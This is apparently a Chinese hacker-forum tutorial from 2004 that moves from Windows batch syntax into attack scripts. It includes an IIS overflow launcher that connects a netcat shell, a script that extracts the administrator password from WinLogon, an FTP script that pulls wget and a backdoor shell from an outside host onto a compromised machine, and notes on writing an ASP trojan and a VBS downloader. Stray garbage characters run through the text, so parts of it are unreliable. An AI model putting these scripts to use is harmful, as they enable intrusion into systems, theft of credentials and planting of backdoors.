|| Usage:第一条命令 || 第二条命令 [|| 第三条命令…]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
" ]% _# p* q5 n" w常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
9 q2 p* K% Z6 ?4 i+ }" }9 M
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF “%1″==”” goto END
IF “%1″==”net” goto NET
IF NOT “%2″==”net” goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F “eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c – 指一个行注释字符的结尾(就一个)
skip=n – 指在文件开始时忽略的行数。
delims=xxx – 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
5 u) H: u9 F5 f0 A0 J, ~$ q% |2 D4 K" M: ~* \
######################################################################
######################################################################
; U4 |, x8 K0 |' G$ G' L$ k& yecho This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt
! [, `) Q( `' A7 y4 U+ H1 cnetstat -n | find “3389”
这个将要列出所有连接3389的用户的ip.
, V+ ]5 k5 E* w________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
3 n' M+ R. o5 j7 a4 ^: y
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
$ n- k0 l1 ^( U$ N( k1 E, O0 W) Y
___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo “ERROR: dont find idahack.exe”
@if NOT exist %windir%\system32\nc.exe echo “ERROR: dont find nc.exe”
# H% w- g. ^5 D5 T" z# H6 k) n" X@if “%1″ ==”” goto USAGE
@if NOT “%2″ ==”” goto SP2
1 s% u* J! g6 w- r0 Z) ?! v& wtart
@echo Now start …
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo “prog exit code [%errorlevel%] idahack.exe”
@type %temp%\_tmp
@find “good luck ” %temp%\_tmp
@echo “prog exit code [%errorlevel%] find [goog luck]”
@if NOT errorlevel 1 nc.exe %1 99
@goto END
6 o8 ]" w+ L# z
P2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find “good luck ” %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
2 _# D: ?- @7 ?1 @! i* f:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
1 Z# I# }( ]& W$ S7 W" l
:END
_____________________ida.bat__END_________________________________
' Z0 |5 j3 j6 w
下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.
" W# K( B4 k, t+ D0 t' R! Z/ R
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo “ERROR: dont find findpass.exe”
@if NOT exist %windir%\system32\pulist.exe echo “ERROR: dont find pulist.exe”
+ t' r( O8 B% Z. Y, J6 I: r. Q$ Z5 t@echo start….
@echo ____________________________________
@if “%1″==”” goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo “prog exit code [%errorlevel%] findpass.exe”
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END
! H e' S8 I1 z$ w
:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i “WINLOGON explorer internat” %temp%\_pass.txt
@echo “Example: fpass.bat %1 %2 %3 %4 !!!”
@echo “Usage: findpass.exe DomainName UserName PID-of-WinLogon”
; s4 S3 W! f% Q& p* U:END
@echo ” fpass.bat %COMPUTERNAME% %USERNAME% administrator ”
@echo ” fpass.bat end [%errorlevel%] !”
_________________fpass.bat___END___________________________________________________________
1 m+ U: b O( H8 U6 w- g8 T还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
3 B, i3 |7 X- |: Vecho open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w
4 I% Y/ o3 K% i$ e! M# s
1 h7 r0 x; G8 R- O
# h! D, h+ z; T. L% \. o# x$ V, T+ h7 V; @
6 y! Q& U5 `& l+ |4 Y h6 h: n3 p. N! S
+ o' V J( N0 S- z. ?2 _
: Q2 c3 g' ?6 p, t" c; D; T8 V日期:2004-5-9 13:02:06
——————————————————————————–
0 I7 ~- T+ P7 A7 e作者:zzzEVAzzz
目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言
& g: u: V4 K- [1 _7 D y前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。
文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对 ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大 家熟悉的办法,作为总结我再提一下:
. e% x8 k) l" ~1 @* n6 s7 @8 S
1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:
9 I8 z/ I, K( N: c6 F@echo ^ >up.asp
: `% p6 \" S- ~' L' g3 M
注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:
! `, U0 W8 U& {0 Y! m9 kwith wscript
if .arguments.count>dl.vbs
@echo w.open “get”,.arguments(0),0:w.send:if w.status^>200 then .echo “Error:”+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
6 m6 J6 s3 k: ^. q9 \' v( v举例——下载ps.exe并保存到c:\path下:
/ _1 I4 \2 I. J: \; f' G5 {# a3 U2 f* K: y5 r K! G
注意,这是在远程shell中执行的。